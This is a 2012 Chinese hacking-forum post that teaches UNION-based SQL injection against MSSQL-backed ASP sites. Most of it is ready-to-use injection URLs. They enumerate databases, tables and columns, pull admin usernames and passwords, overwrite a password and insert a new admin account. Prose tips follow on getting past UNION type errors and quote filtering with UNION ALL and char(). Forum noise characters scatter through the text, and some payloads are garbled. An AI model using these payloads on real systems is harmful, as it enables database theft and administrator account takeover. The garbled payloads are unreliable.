找回密码
 立即注册
查看: 2703|回复: 0
打印 上一主题 下一主题

MSSQL用union查询爆数据

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:26:06 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
爆库:
6 _2 v; F7 o7 \+ G: }2 V" J' Ehttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--+ E1 L* P$ z/ L6 K, E( C$ l
SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.
$ k' J4 }8 m7 a3 ]% w. Z$ P/ `爆下一个库:) L! {. T# }4 ]
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--* R* c7 \, C& n7 O/ o% r" l

1 }# P% w$ P, V% |/ _  K5 ?爆表:2 u$ _; U# W( _: Z+ R
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--7 T3 ], f* ~# n% S% t4 l9 J& J4 t

& h& Y! [  _" d8 F& d. hSELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.0 ]6 N8 a3 Y# `% o  W7 i

' c5 I9 }. b9 A* J爆下一个表
3 \+ A9 B( k2 G- s3 Thttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
7 C! o( ~2 W) |8 A/ a3 C8 J6 T& h4 e
7 |* t9 Z6 O! _/ M) J) d" ahttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--
/ v' `: v& Q' o  t0 z' m+ b9 I6 e4 |* \2 [; I* ]/ P
& q; A" p% v8 ?+ ]5 {/ ?
! V- m% r0 \% J! ~
爆字段:# g, m+ A$ c/ ^9 z' f4 h" ?- O
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--+ ~9 g" c7 U. c+ W

5 l/ w8 w; s3 C1 h# B. v  D爆下一个字段
( f& B3 `' M; K4 C! |+ r$ n5 M! Q' Yhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--8 W+ W) y% ~% p. T  i9 G0 C+ r2 i
$ @* K$ k3 g+ v
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
0 e2 u5 z0 V$ T) ?' J( b+ ^+ c; m2 a
$ y% {: o% [: i, U9 w% ^" k3 r8 \6 M! w9 p6 w
爆字段里的内容% u2 \. i" W+ d5 k. B" {4 K3 T
http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--; C9 m& K. ^# i" ?( ?$ P( c
, @  E. ]% _1 }* v
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
8 b" E0 Q6 }# j; y: C
7 D* B0 g5 f  I" e& [/ xhttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--4 W. r- N0 |+ s0 c' d) B( ?

1 _  z, Y% }4 R, uhttp://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--; _" Y% H6 x0 Y3 _+ N  o
4 O7 B8 O' l( g2 L' P' @% O& q+ T9 [
更新字段里的内容% m9 E. N+ B3 X- w
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--8 ^0 J% E4 U; v9 V/ D' G! z
) S/ }! }" _+ a# g) C9 e
http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--- k+ x) L8 W, l- R1 A6 ]$ `
% s5 Z/ y/ j# _* P" Y& k

9 d: Y, {* s5 {6 `9 T1 t
4 ~% O" b9 t: z4 @% ^$ {        在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。
; I9 g2 [) A8 d/ J* j1 i9 g2 h# }    第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。5 [% J6 r# T6 Q$ R
    第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。
$ q5 [: |  D# v1 d4 l1 t7 B/ J9 m    最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。
2 y  G# f* ]2 p8 R5 h0 j* W9 F' k3 \& P2 Z8 J! I/ ~
突了了大部份限制的语句
; n+ C# n  D. M" d7 Y: b' qand 1=2 union all select char(49),char(50),null,null;--& l+ k) x$ r7 {: ~
4 b0 q; W% |) n( J

0 t" U1 M0 U( U- n  `! V4 Qnull也可以正常执行,不过没有回显,不好判断回显的列数。6 @! l+ E3 {0 g3 K/ J/ i( ?! q
一般union遇到问题都是有text或者ntext字段,image的很少遇到! N8 z$ G3 Z! S
7 z* N. E) \" U: K& U/ p# C9 L
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟7 y4 v$ i( E' b- o

$ |' L. y# n, A7 G. E4 X# S$ U( G
/ v, R, h. F" O- j" \. n# D5 O
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表